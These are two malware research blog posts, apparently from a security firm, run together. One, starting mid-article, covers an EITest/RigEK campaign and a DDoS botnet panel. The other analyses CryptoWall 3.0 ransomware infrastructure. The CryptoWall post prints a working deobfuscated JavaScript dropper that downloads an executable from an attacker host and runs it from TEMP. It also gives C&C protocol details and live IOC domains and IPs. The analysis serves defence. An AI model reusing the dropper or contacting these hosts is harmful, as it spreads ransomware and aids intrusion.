Even if the server has NGINX installed to it listening on port 8080, the apache server was still configured to listen on port 80. We were then able to see the requests made to the server by looking at the server-status page:

Bots reporting to the C&C server via GET request

This showed us that many bots were also checking-in. By monitoring this page, we were also able to spot more unusual requests, like an administrator logging in the admin panel from a TOR exit node:
Also, we were able to make the statistic about bots who were checking in:

Each check in GET request made to the C&C madness server over time (UTC)

Peaks in this graph show that most bots are online by day and offline by night because most personal computers are shut down.  Also, we see that it slowly grows over time as the campaign goes on.

Here, we can see the top operating system infected:

the operating system for unique bot ID

Most bots are Windows 7×64 followed by Windows 7×32.

The botnet control panel is accessible on this same server by browsing to /b1/adm/auth.php:

Madness login panel page version 03.10.2016

Once logged in the control panel, we can see that 1580 bots were accumulated so far. We’ve also seen that they were botnets reporting to this server since 2017-01-13:

This control panel allows the operator to see multiples information about his bots:

IP address, registration date, ID, version of the bot, operating system, privileges on the system, last time it was synced, the number of time synced and request per minutes.

That being said, those actors who intended to use the internet pipe of their victims to perform DDOS attacks did not even take the time to properly secure their back-end server.

Protection

As a website administrator, you should use a password manager for your account. You should also check for suspicious recently modified files. If you’re using WordPress, you can install the plugin WordFence, which can help protect against brute-force attacks. The plugin also acts as a Web Application Firewall. Be sure to update your plugins and your CMS to the last version. If your website is infected and you have no certitude on how hackers got access, changing all of the passwords and make a fresh install of the CMS may be necessary.
As for the users, it can be tough to tell if you are visiting a website that has been compromised. As always, there are no silver bullets for protection, trade-off needs to be made between accessibility and security. You can use browser’s plugin like NoScript to prevent malicious javascript to run, but user experience can be affected. Remember to always have up-to-date software and be careful what are you clicking on. Antivirus can also block some of these threats. Blocking the execution of executable from the TEMP directory in Windows can also break the infection chain.

Conclusion

We only looked at what EITest gates and RigEK for a couple of days and yet, five differents payload have been seen. Malicious actors who control those campaign are known to push a broad range of malware, and our analysis was just an overview of possibles threats that users can face when visiting those infected websites.

The evolving complexity of this kind of threat makes it difficult to track. Plus, new exploits are found and deployed by the cyber criminal when one is patched. This makes the average user vulnerable if protections are not in place in their environment.

EITest gates domains are publicly known since 2013, and none of them seems to be sinkholed yet. Greater efforts need to be made to put down their infrastructure.

Many thanks to our contributors, who knows who they are!

Feel free to contact me for any questions, suggestions or comment at malware @ brillantit.com

IOCs

Download.php, file.php

  • 5bb97e6104c9ad07c036b0d272ef1c35398df80819a29c13c81d34b0d97ca151

Index.php

  • eaed27690a84a533fae605ead2bc8f5c8ddb84a23d982c1008cfad7eba81e86c
  • 828d7fa5bfbd68958befb560c981c6629e686ab1af629526f20c1b7c5bf8897c

help.php  

  • dce27de4a77166f67a8876a1e7fb546a6d1613244daf95df591762e7787c7f44

new.php

  • 070e812ea048edd26a071ab9f5b3c6b1de20aa3becc573f3362f363dc5a18c69

Fleercivet/Ransomware

  • e5cb9d5e688e31ea08c4c83be2dd4c15ae4e4cd05c03ddf5215d46fe91596f38
  • Ebeaaef3323331e7ea0e47eac6437dcf5548d9fd759943d2e5c1f3d1fb786167
  • Ec50acd126410250a7cf3124d414fbf5ffd280129659ac89d28a7e9db09862c6
  • F698f4f713e4db5c705e2ff57ed1e1a7aa288711abbf26a6117629cedc55fed7
  • 02354c75a9a81303234b4fcb2d60911105796ba6c287a0919ffc2675cb899ec6
  • B3525033df83db1775cac63040cc8e5a763d5ac079bb86b0f5aca47b5bf4bb8d
  • 25450885bb86fcda7b1f8d80b227351d0a7a23c28b83155e06eafa72b0638955
  • Dfc1f57077bb69bf67ceea87999e45ccc64eeecf5e08ca99fedad4fc42bab816
  • F188d41cd1736d2237b2a0406f72f10c59918b79bba61724d19ec3582236114e
  • 699b6736324a961888721bb70e896f440523fcf70ce3f74cdc8cb37ff98c20a7
  • 040427d522a1a1434f96895e6514884dc916b4fec385d25373366f33510de002
  • B862b96bb213d42ea29157faabbeaef714b7611c70d80799387c2ddabf751c93
  • B627823c75de90fc4f578f71dd0e8f8b18d7c7919fc9b26b6657c682c0eb607c
  • 46de827b9dc7feac0043616d25b4eaea291b3f5735a1728383e1998198a85aad
  • 28bda4bf96841c5734fc1dc9f7fe76724488a79cf177d3992c03eb88b8fdf36f
  • 9606691fd1cb19fcc8ba2736dde49f94c09172f3d9b48963133f4809558be75d
  • C7151c5a1a27e4bedbf615005e747a6a05bf9c257eb9548c4894397779bf32d2
  • 84802dd73c5c39199254a14944005bd4573480f0e18086d58b9960380ba37a0b
  • 68c0f06255f6d28515b7a3b81e9444c36ea284d2edb29ee5ca93622f10d86cee
  • Dfe888cf3d5be1abd0185b285303934b7c8b679c5add995cc1799b04200c8c07
  • d2933f0a01a7572883af8e779cd156130189cfdb5c2224a68515436829099143
  • e2c8eb9907bdeeb12f8965be73883e25eaec19c89cf1feca1d6d1094587fe9e9
  • 7bfb33a0b61d5a8db7b633ddd84e7ee264fc4489d5d88d0b71adf2f30e2a3f57
  • da4317f949b0f18418bbc8b4e7a407c46a2e7d5f0fca8bb5a8207b1235c4d3a0
  • a50c9f984f39407074f0c984dd028d4ea2cce48c0bb6836a5bc7b3ffefe0fdbf
  • 1d544fb236e6d556477e2207a71121508f6654f3701387246fe8507a60d4e2f3
  • 22226a250d81fc9e82b4e2b807d5afea64dfe82693bf53ed196f8929083642bd
  • f7b4b328ccd94627d7b9c249055274cc534342699e04e42ba6e8d645663db252
  • f2a680740a82c5f11bf4ed12a741eec74f17be66ab27f09c1b2fd682ef4b6094
  • 4ec7edab4b02601a56aea26a138efb0eeeac17ae63de246dc64b364196917212
  • b1d3d0601caa63349e80e5d30e6d6d0cd697eeb61dfc87be73e1d40db0dfe390
  • 5225120a277650c28c2ce1640c5b54aa29fbfc431d96f75dfa016fb9253463e7
  • d5a1c143b07475b367d2e12ff72fe5a3ec59c42fa11ae2d3eb2d4e76442e60b3
  • 9f2f3a8156c10b6e0185ceb0b4da2a16ada79af54f072199e8cea42a09a873cd
  • 77e363849b0bff79a1ad10630dc539e46c07f9f375f86030e92b58e0a779a6be
  • dca881295c30115e22995ac050fa85cc27a9605aac1846e3ae10e7a1279a2af1
  • Fc3b540ed642984aa11ba28d73691cf1b2e081045f3cd95bee023001c07c2c60
  • 37ce74a40d6127fe4125a2579c661e3e93bc2ac7fe6cd151c11b6a909a47b865
  • 1f3d7247e8cab2c31f27847c3cd15e2c2b616bf6cab37bb60f80797398106bd0
  • 6dfa91567f95a339086a48e22e944a5db81cf593357affe24c1848f39b32c058
  • 58d1136486fb9d7ec27f078a672b2e9e361361fd6fac56de38f4b0702380d1e7
  • 9f6d0490bd3068e7b8d4d378c9de1ebaaeab7320572af8859b6434e8138476ba
  • 4be0a8e8968f88dcf2d01e881f1996bbf1e246516a62e7e8df5250860df25a98
  • 3b434fec3ba0b83963c02c9d3eb494b33352b05190b11ef5802d62abced4f9ff
  • B39dcc461afb0ab82674a2fcac545a4d9313375517a69298c1a7217025df1ad1
  • 567058b1d6e3c6d54f453687bb88b061eaeebfbf903f3dfd19ea48f80470c7b8
  • 732114325dea4c2aba8b913b836f640a530b69ec9db8cb09c0ea2e5d5d0b5833
  • 39e915e9a38856d6fa8cccb74dbccb9826d6bb1283768fa35e91338810d057d8
  • 1dbe1b4fad4fd325c3b49d45b86959269c99df5cbe2835ef9d15fffeb3997329
  • Aa15d105b4f9c7adf71579180aff88582adb5bbcdc7889ac7b66c1dc56654812
  • aea0d6f54d01a22f413809e96e39e7828151b500522af790ab403f8e315b67dd

Domains :

  • try.CIELA.CO 
  • try.ucr.news  
  • 1gh.saveboston.today 
  • stat-dns.com
  • 33db9538.com  
  • 9507c4e8.com 
  • e5b57288.com  
  • 54dfa1cb.com  
  • 32f988f6.com
  • E108dfcb.com
  • 8b238dd6.com
  • 10f89b8c.com
  • bbc.WEHBECONSTRUCTION.COM  
  • con.PECHEMIGNON.CO
  • Admin.furstoutountzi.com  

IPs:

  • 92[.]53[.]120[.]142
  • 92[.]53[.]127[.]86
  • 31[.]184[.]193[.]179
  • 195[.]161[.]62[.]33

References

CryptoWall 3.0 traffic analysis

A glimpse inside CryptoWall 3.0

Background

CryptoWall is known to be one the most popular ransomware.The FBI says it has received 992 complaints about CryptoWall, with victims reporting losses of $18m. Symantec also said that ransomware attacks have more than doubled in 2014 from 4.1 million in 2013, up to 8.8 million. It’s using today’s most sophisticated exploit kit such as Nuclear, Neutrino, and Angler in order to infect the victim. Consequently, this ransomware is using all ways possible to infect victims. The main goal of this destructive malware is to search for all file with certain extensions on the computer victim and network drives to encrypt them. It then asks for a ransom, which is normally $500 USD (and doubles after a certain period of time) for decryption.

Ransom payment over TOR
CryptoWall payment page

Infection Vector

The ransomware has multiple ways to infect victims. However, we often see malicious infected email attachments sent to victims containing the dropper. One of the dropper that we studied came from an email attachment in a .zip file. It contained an obfuscated JavaScript file which is used for downloading the payload. It is also common to see word documents containing a malicious VBA macro.

The malicious email attachment
.ZIP file received by email, containing a JavaScript file

After deobfuscation of the file, we got this code:


function dl(fr, fn, rn)
{
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function (){    if (xo.readyState === 4){      var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
}  ;
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0)
{
ws.Run(fn, 0, 0);
};
} catch (er){  }  ;
}dl("http://22072014b.com/images/global1.jpg", "16477935.exe", 1);dl("http://22072014b.com/images/global1.jpg", "89555869.exe", 1);

This script is used to download the payload (from a hard coded URL) of CryptoWall 3.0, rename it and execute it from the TEMP directory. It’s interesting to note that the original payload is a .JPG file, which is a simple trick to hide itself.

dropper

We believe that this domain (22072014b.com) is owned by the bad guy and it’s also seems to use the fast flux DNS technique. However, this domain is currently suspended by the ICANN.

Execution 

As described in many articles¹ ² ³, CryptoWall begins by:

  • Generating a unique computer identifier by calculation of an MD5 hash base on the system hardware and software (Computer name, Volume serial number, OS version)
  • Spreading itself in a new folder in C:\ and the AppData folder then adding an entry in startup program
  • Deactivating:
    • Shadow Copies
    • Startup repair
    • Windows error recovery
  • And stopping:
    • Windows Security Center Service
    • Windows Defender
    • Windows Update Service
    • Windows Error Reporting Service and BITS
  • Injecting itself into explorer.exe , svchost.exe
  • Making a GET request to ip-addr.es to retrieve the external IP address
  • Making HTTP requests to retrieve the public key for encryption
  • Starting encryption (AES-256) of selected files, extensions and directory
  • Copying HELP_DECRYPT instructions in every folder in which files were encrypted

Although this process is complex enough to make an article on it’s own, the area that we’ve focused on is mostly the network communication side.

Emulate communication with the C&C

In order to learn more about the communication with the Command And Control, a program was made to simulate the request of an infected computer.

First, the malware uses a URL pre-coded in the payload to start the communication. In all cases, the URL’s are infected WordPress websites. Because infected WordPress gets cleaned up or suspended within a few weeks normally, CryptoWall comes with numerous pre-coded URL with which it will try to communicate. The URL changes each time we see a new sub-version of CryptoWall 3.0.

The URL looks like the following:

http://domain.com/wp-content/plugins/infected_path/3.php

All communication with the C&C is encrypted in RC4. The RC4 key is passed in the URL parameter and the cipher text is in the POST method.

The malware first sends a hello message to the C&C before getting the actual encryption key:

first-message

Using this python code, we can decrypt the message easily:

Request: {1|crypt13|4FB5B06D293F2DD13810B2979DBA08E0|5|2|1||128.204.196.126}
Response: {264|1}

The message is formatted for the command and control, revealing: the message ID, the version of CryptoWall, the unique MD5 hash previously generated, some other flags and the public IP address of the computer.

After, the infected computer replies with another message:

cryptowall-response

Request: {7|crypt13|4FB5B06D293F2DD13810B2979DBA08E0|1}
Response:

{176|ayh2m57ruxjtwyd5.onion|1egeY33|NL|—–BEGIN PUBLIC KEY—–
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyY6b3Ea6NYvFAz3BMBRr
zS9TZrnAdg2FksXisD95iFBSbWjMXQlWf4YuU84cyDvmRBpicbaN6K3Rkk1EjW4G
lAA3jEZi2IvapsJpKoXhMIVxOhqbni+LQMsdsnEB+3FGWNHW7YvBwUSDvJbD+0qG
i1fNzbL/AZ8Wz5g7wbrUzGSsi+Yjj37nQuPRDz4AheKayMsz9ENvOLvqhA+Malpv
eOLwDMncsRr4byu9QuWRCvyoas5z86IBq/l4LKGeJO1my6ICvRQZ4QExwDTQBWKy
0G7B8niBVYHDOHIe3Owp2C6y7WzolP97WCwsuYB2kmGHnhtas4uTRQ/6IYZcK47E
gQIDAQAB
—–END PUBLIC KEY—–}

At this last stage, the C&C replied with the TOR link for the ransom, the personal ID and the public RSA key. The infected computer will then start encrypting files with that key.

Knowing this, we were able to establish by ourselves the different value that would be sent to the C&C in our program. We only had to generate MD5 that hadn’t been already received by the ransomware server to make it believe that we were a new victim. One of the ideas was to exhaust the server with our requests. Using this program in a loop, we were able to generate many different unique ID’s and public keys. Since a unique ID is normally 7 characters long (case-sensitive, plus a mix of digits), 58^7 ID are possible in theory. Because we’re able to generate no more than 1000 requests per minute, it would have taken far too long to exhaust all ID possible.

Investigation on the infected WordPress

To advance further in the investigation, we chose to take a look at recent samples of CryptoWall 3.0 from Hybrid Analysis to find commonalities between the different infected WordPress. After looking at multiples infected pages, we didn’t notice a common vulnerabilities, except that the infected path always seems to be part of a WordPress plugin.

However, two of the WordPress observed had a PHP backdoor installed, which is a PHP file that allows the attacker to have a web control panel:

php_backdoor_censored3

With this malicious code, they can access and control multiple things on the servers. Furthermore, this allowed us to download the code which serves to respond to infected computers. Getting our hands on this file allowed us to move forward to better understand the communication and the infection process. What we can see in this PHP code is that the ransomware:

  • Decrypts the encrypted message with the RC4 key in the parameter
  • Makes validation to ensure that the message is in the good format and strips the bracket
  • Forwards the message content to the mothership at the hard coded IP address

We tried it by installing a PHP server on a local computer and making a fake call to the CryptoWall PHP file. We then captured the traffic exchanged between the server and the mothership:

wordpress_to_mothership

Request: {7|crypt19|7A1A7EA984BD56663C7A5558576C3559|1}

So it becomes clear that the infected WordPress only acts as a filter and a relay. It also helps to conceal the ransomware infrastructure.

Since the file in question was used at the same time to respond to infected computers, we took the opportunity to add a few lines of code to record the requests made to it in a text file. We also neutralized the code by commenting the part which forwarded the request. The outputting file gave us information about the time at which the request was made, the originating IP address and the CryptoWall message (version, unique MD5 identifiers …) for each computer calling it.

Each of these inputs represent a query made by an infected computer to this specific infected page. On the first website, we were able to collect data only for 29 hours before the account got suspended by the provider (2015-09-30 to 2015-10-02) and we got 40228 entries in the text file. The second one, lasted 88 hours before the bandwidth limit was exceeded and allowed us to get 130146 entries (capturing from 2015-10-23 to 2015-10-27).

After removing redundant entries in both files by comparing the unique identifier of victims (MD5 hash), only 3546 entries were left from the first one and 15068 from the second one. The reason why so many inputs were duplicated is because a unique infected computer will sometimes make more than 2 requests before being able to receive an answer from the C&C.

We then used Elastic Search and Kibana to visually represent the data:

users-request-first-file
Requests made to the first WordPress site over 29 hours

 

Requests made to the second WordPress site over 88 hours
Requests made to the second WordPress site over 88 hours

We then aggregated the data of both WordPress sites to pull out statistics about the victims. The MaxMind databases were used to find the country and the AS from the originating IP addresses of those entries:

Top originating AS of victims
Top originating AS of victims
Top country of victims
Top country of victims
geoloc-global
World map representing victim’s location from our dataset

Multiple sub-versions of CryptoWall were also observed:

Different version used by CryptoWall
Different version used by CryptoWall

By regrouping both sets of data together and removing the duplicate entries based on the MD5 hash, we accumulated 18614 unique infected users. On the first set of data, 3546 unique ID’s were collected over a period of 29h, which makes approximately 122.27 unique victims per hour. On the second set of data, 15068 unique ID’s were collected, over a period of 88h, which makes approximately 171.22 unique victims per hour. Calculating the average of both, we obtain approximately 146 unique infected users per hour, which make 3504 per day and 105120 per month. Using numbers from USCert via Symantec 2.9% of users pay the ransom approximately. With an average ransom of $500, this meant malicious actors profited $52560 per day, $1576800 per month and $18921600 per year just with this part of the infrastructure that was discovered.  However, it is difficult to be 100% accurate with these numbers.

Glimpse of the Mothership

Since we now had the IP address of the mothership from the PHP files on the infected WordPress, we started investigating it. The first IP was 95.128.182.22 and the second 95.128.182.121. Both of the IP were registered by an ISP named TrustInfo, in Moscow, Russia. The IP addresses have at least 3 open ports in common: 22, 80 and 3389. By browsing through them, we can’t see much except a blank page on the main page. But after looking for other active pages on the servers, we found that the server status page was enabled:

server-statuspage

As you can see, the server is apparently hosting a TOR hidden website (xtpdvz6dnj5nnpe7.onion). This hidden website is also a known TOR address from the ransom of CryptoWall 3.0. It’s using NGINX proxy to forward requests. The POST requests that we’re seeing are all the different WordPress sites forwarding the requests to the MotherShip and the parameter on each of these requests are the RC4 key for decrypting the communication.

Accessing the ransom page directly
Accessing the ransom page directly

By taking a look at the autonomous system information, we saw that the ISP TrustInfo has 3 subnets. We decided to investigate further in those subnets, searching for servers that had the same ports open with the same version of services. For instance, we looked for hosts that had port 22 with OpenSSH version 6.0 responding to the criteria and port 80 with NGINX 1.2.1. One subnet in particular, 95.128.180.0/22 had a lots of hosts responding to this criteria.

After verifying each of them, by establishing if the page http://ip/server-status/ showed us the same TOR address and had the same uptime, we found 9 more servers than the two previously discovered:

CryptoWall 3.0 architecture
CryptoWall 3.0 architecture

Thus, motherships servers are playing at least two roles: forwarding the requests of infected victims and supporting the TOR website to pay the ransom. Since NGINX is installed on all of them, and they all refer to the same Apache server, they seem to serve only as a gateway, so that makes us believe that the secrete keys are stored elsewhere, well kept away from us.

By comparing all the different requests made on the server status page, some GET requests got our attention. This lead us to a login page on this same server:

login mothership

At first look, it seems to be the management page for the owners of CryptoWall. This page seems to be custom made. They are doing basic authentication with a username and a password. The password is hashed in MD5 client-side before being passed by the POST request to the server. After 3 failed attempts, the system refuses any more tries. It is however possible to reset the number of failed attempts by deleting the PHPSESSID cookie. However, we don’t know what this page provides access to.

After monitoring the status page, we also did some statistics:

Request type received by the server
Request type received by the server
CPU load over time
CPU load over time
Total access requests to the server over time
Total access requests to the server over time
 At its peak, the server behind the proxy has processed almost 44 GB of data in 30 days
At its peak, the server behind the proxy has processed almost 44 GB of data in 30 days

Protection against ransomware

In order to protect computers against all types of viruses, there should always be a minimum of an updated antivirus. However, in this research we saw many samples that weren’t detected by any antivirus on VirusTotal. In these cases, email attachment filters are really useful, because a lot of the infection is coming from this vector. Also, limiting the advertising when surfing the internet with a proxy (to avoid the malvertising, which can exploit other vulnerabilities) and using an IPS will help. Blocking servers that infected computers will contact is not very effective, because they change very often and the payload normally knows multiples websites to contact.

Some other methods may be useful if you want to be alerted by a new infected computer making requests. You can make a rule in your firewall that alerts you when someone visits http://ip-addr.es, which is used every time by CryptoWall to gather the external IP address. Other ransomware also use this technique but with various websites. There is also a way to be alerted by your SAN by watching the I/O by users. In fact, computers infected by a ransomware will try to encrypt network drives aggressively, which can be detected by looking at the number of transactions in a certain time frame.

You can also block the execution of a program in the temporary directory of windows. There is no reason why a program should start from there, and it is often used by malware. This procedure will show you how to create GPOs to do that.

You should however be prepared no matter what and have backups for your systems.

Conclusion

Given that all motherships servers seem to have the same configuration, they are probably deployed automatically from a template by the attacker. Moreover, the fact that we see new infected WordPress with CryptoWall 3.0 almost each week demonstrates the organization of the attacker, because this also implies that they must update the ransomware each time so that the malware has the right URLs to contact.

This whole process is well structured, it evolves to avoid being detected and seems to have become the new trend for hackers to make money. Other aspects of the ransomware would have been interesting to investigate, but because of the lack of time we didn’t go any further.

Feel free to contact me for any questions, suggestions or comment at malware @ brillantit.com

References:
Cisco TALOS
Vallejo
Sentinel One
TrendMicro
SecureWorks